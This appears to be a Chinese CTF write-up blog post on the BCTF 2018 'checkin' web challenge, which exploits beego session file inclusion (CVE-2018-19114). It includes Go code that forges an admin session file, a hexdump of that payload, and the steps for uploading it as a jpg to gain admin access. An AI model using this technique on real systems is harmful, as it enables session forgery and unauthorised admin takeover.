N0rth3ty's Blog.

BCTF Web签到

字数统计: 791阅读时长: 3 min
2018/11/29 Share

大概就是这种水平了
C是不可能C的,也就国际赛签签到勉强不爆零维持下生活这样子
(然而这个题最后还没出
这个题12解
如果我早点看的话就做出来了,思路是对的,队友赛后一小时出了。。
最近事情实在太多,国际赛题目一看更浮躁了

checkin

其实这个题,体现了信息收集的重要性(当然,关注漏洞的dalao是能直接想到的
属实是个签到题
最后12解也确实说明了现在国内大家的水平确实过于拘泥在套路化的东西上
遇到点新东西就不会了。。
404页面直接显示了用的beego框架
image
测了下逻辑都没有太大的问题
一个上传点,一个文章发布
然后有一个info页面
info页面算是很明显的提示了问题出在了session
但是任何人拿到这些东西都有点蒙吧
所以我第一天看了下没思路也就过了
第一天大概是知道问题出在了session上,尝试了一下没有结果
大概还是姿势不够,其实这里是用cookie中的session字段去包含文件
而我们有一个可控的文件点,就是那个上传点
我怎么找到的呢?因为这个题目我基本可以肯定和session有关,同时和上传点有关
所以
image
CVE-2018-19114
这个cve一看随手一测其实思路就有了
image
可以看到包含etc/passwd的时候503了
再试着包含不存在的文件
image
所以思路非常的明确了,我们上传一个session文件到服务器,然后同这个CVE一样
用cookie中的字段去包含,就可以伪造admin登陆
开始有点急跑偏了…这个题是这个cve改的,其实改简单了
这里没有使用mindoc
只需要我们用go的机制伪造一个admin的session文件就可以了
直接上payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package main

import (
"github.com/astaxie/beego"
"github.com/astaxie/beego/session"
)

var globalSessions *session.Manager

type MainController struct {
beego.Controller
}

func (this *MainController) Get() {
this.SetSession("username","admin");
this.SetSession("UID",1); // 开始以为是0,测试发现是1
this.Ctx.WriteString("hello world")
}

func init() {
sessionConfig := &session.ManagerConfig{
CookieName:"gosessionid",
EnableSetCookie: true,
Gclifetime:3600,
Maxlifetime: 3600,
Secure: false,
CookieLifeTime: 3600,
ProviderConfig: "./tmp",
}
globalSessions, _ = session.NewManager("file",sessionConfig)
go globalSessions.GC()
}

func main() {
beego.BConfig.WebConfig.Session.SessionOn = true
beego.Router("/", &MainController{})
beego.Run()
}

编译一下

1
go build -o hello hello.go

服务跑起来直接hexdump下来

1
2
3
4
5
6
00000000  0e ff 81 04 01 02 ff 82  00 01 10 01 10 00 00 3d  |...............=|
00000010 ff 82 00 02 06 73 74 72 69 6e 67 0c 0a 00 08 75 |.....string....u|
00000020 73 65 72 6e 61 6d 65 06 73 74 72 69 6e 67 0c 07 |sername.string..|
00000030 00 05 61 64 6d 69 6e 06 73 74 72 69 6e 67 0c 05 |..admin.string..|
00000040 00 03 55 49 44 03 69 6e 74 04 02 00 02 |..UID.int....|
0000004d

保存为jpg上传之后包含
image
可以看到已经是admin了
所以用这个cookie去看看管理页面
image
发现一些奇怪的东西
点进去就直接给flag了
image

其实你说题目多难倒也不见得,做技术还是需要耐心

CATALOG
  1. 1. checkin